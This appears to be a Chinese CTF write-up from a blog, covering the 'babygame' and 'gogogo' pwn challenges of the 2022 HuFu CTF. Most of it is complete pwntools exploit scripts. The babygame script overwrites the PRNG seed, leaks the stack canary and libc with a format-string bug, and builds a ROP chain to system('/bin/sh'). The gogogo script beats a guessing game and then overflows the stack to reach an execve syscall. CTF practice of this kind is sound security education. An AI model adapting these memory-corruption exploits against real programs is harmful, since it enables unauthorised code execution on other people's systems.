2022虎符CTF pwn wp+复现

难过

babygame

思路

题目大意是剪刀石头布进行猜拳,设置了种子,但种子在栈上,且可溢出覆盖
所以就改掉种子,然后再for循环和它比,从而实现绕过进入漏洞函数

格式化字符串漏洞,只有一次,泄露libc同时跳到有栈溢出的那个read里
一开始因为没有泄露地址犹豫了很久,后来发现前边覆盖种子的时候似乎能进行泄露。。

EXP

from pwn import*
from ctypes import *
# p = process('./babygame')
#p = remote('120.25.205.249','20346')
elf = ELF("./babygame")
context.arch = "amd64"
# libc = elf.libc
libc = elf.libc
libc1 = cdll.LoadLibrary('./libc-2.31.so')
# context.log_level='debug'
gad=[0xe3b2e,0xe3b31,0xe3b34]
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
def pwn():
    p.recvuntil("Please input your name:")

    p.send(0x100*'b'+8*'b'+'a')

    p.recvuntil('a')
    canary = u64('\x00'+p.recv(7))
    stack = u64(p.recv(6)+'\x00'*2)
    lg('canary',canary)
    lg('stack',stack)

    libc1.srand(0x62626262626262)

    for i in range(1,101):
        j = str((libc1.rand()+1)%3)
        p.recvuntil('round '+str(i)+': ')
        p.send(j)

    game = 0x153E
    ret = stack-(0x7ffea348d4c0-0x7ffea348d2a8)
    pay = "%{}c%{}$hnk%9$p".format(1218,8)
    pay += p64(ret)
    p.recvuntil('Good luck to you.')
    p.send(pay)
    p.recvuntil('k')
    libc_base = int(p.recv(14),16)-175-libc.sym['printf']
    lg('libc_base',libc_base)
    one = gad[1] + libc_base
    system = libc_base+libc.sym['system']
    bin_sh = libc_base+next(libc.search('/bin/sh\x00'))
    pop_rdi = libc_base + 0x23b72
    ret = 0x0000000000022679+libc_base
    '''
    0x0000000000023b72: pop rdi; ret; 
    0x0000000000022679: ret;

    '''
    pay = 0x100*'b'+p64(canary)*5+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
    p.send(pay)

times = 0
while 1:
    try:
        p = process("./babygame")
        pwn()
        p.interactive()
    except:
        times += 1
        print("="*8+str(times)+" times"+"="*8)
        p.close()

tips:

这里也可以通过栈上的函数地址泄露pie偏移,就不用爆破了

复现

gogogo

思路

赛后看这题其实也不难,比赛的时候怎么就做不出呢


image.png

go语言程序,函数入口在math_init,字符串的输出都是单个字母,所以程序流不太好判断。
先要过第一个判断

image.png

如果进入elseif程序就结束了
我go不太好,大概应该是和开线程有关系,重新执行game
image.png

然后就如题所说是个游戏
image.png

然后就是网上找脚本绕过,这里改了一下验证函数(这部很关键,但其实这题爆破结果也能解,就是时间久一点)
python初学---猜数字游戏(游戏与AI,原创) - funolove - 博客园 (cnblogs.com)
然后就根据程序流找字符串,然后定位函数位置
这里是are you sure?,然后有个read
image.png

makeslice函数(19条消息) GO语言slice详解(结合源码)_胖子依然6的博客-CSDN博客_go语言slice源码这里有解释
Read_read读入0x800,栈溢出0x460,调用syscall即可
image.png

image.png

EXP

# coding=utf-8
from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p=process("./gogogo")

def guessTrainner():
   start =time.time()
   answerSet=answerSetInit(set())
   for i in range(6):
      inputStrMax=suggestedNum(answerSet,100)
      print('第%d步----' %(i+1))
      print('尝试:' +inputStrMax)
      print('----')
      AMax,BMax = compareAnswer(inputStrMax)
      print('反馈:%dA%dB' % (AMax, BMax))
      print('----')
      print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
      answerSetUpd(answerSet,inputStrMax,AMax,BMax)
      if AMax==4:
         elapsed = (time.time() - start)
         print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
         break
      elif i==5:
         print("猜数字失败!")
 
 
def compareAnswer(inputStr):
    inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
    p.sendline(inputStr1)
    ru('\n')
    tmp = p.recvuntil('B',timeout=0.5)
    # print(tmp)
    if tmp == '':
        return 4,4
    tmp = tmp.split("A")
    A = tmp[0]
    B = tmp[1].split('B')[0]
    return int(A),int(B)
 
def compareAnswer1(inputStr,answerStr):
   A=0
   B=0
   for j in range(4):
      if inputStr[j]==answerStr[j]:
         A+=1
      else:
         for k in range(4):
            if inputStr[j]==answerStr[k]:
               B+=1
   return A,B
   
def answerSetInit(answerSet):
   answerSet.clear()
   for i in range(1234,9877):
      seti=set(str(i))
      if len(seti)==4 and seti.isdisjoint(set('0')):
         answerSet.add(str(i))
   return answerSet
 
def answerSetUpd(answerSet,inputStr,A,B):
   answerSetCopy=answerSet.copy()
   for answerStr in answerSetCopy:
      A1,B1=compareAnswer1(inputStr,answerStr)
      if A!=A1 or B!=B1:
         answerSet.remove(answerStr)
 
def answerSetDelNum(answerSet,inputStr,A,B):
   i=0
   for answerStr in answerSet:
      A1, B1 = compareAnswer1(inputStr, answerStr)
      if A!=A1 or B!=B1:
         i+=1
   return i
 
 
def suggestedNum(answerSet,lvl):
   suggestedNum=''
   delCountMax=0
   if len(answerSet) > lvl:
      suggestedNum = list(answerSet)[0]
   else:
      for inputStr in answerSet:
         delCount = 0
         for answerStr in answerSet:
            A,B = compareAnswer1(inputStr, answerStr)
            delCount += answerSetDelNum(answerSet, inputStr,A,B)
         if delCount > delCountMax:
            delCountMax = delCount
            suggestedNum = inputStr
         if delCount == delCountMax:
            if suggestedNum == '' or int(suggestedNum) > int(inputStr):
               suggestedNum = inputStr
 
   return suggestedNum
 
 
ru("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
ru("PLEASE INPUT A NUMBER:")
p.sendline("1234")
ru("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
syscall = 0x47CF05
binsh = 0xc00007c000

payload = '/bin/sh\x00'*0x8c + p64(syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
 
sla("ARE YOU SURE?",payload)
p.interactive()
 

你可能感兴趣的:(2022虎符CTF pwn wp+复现)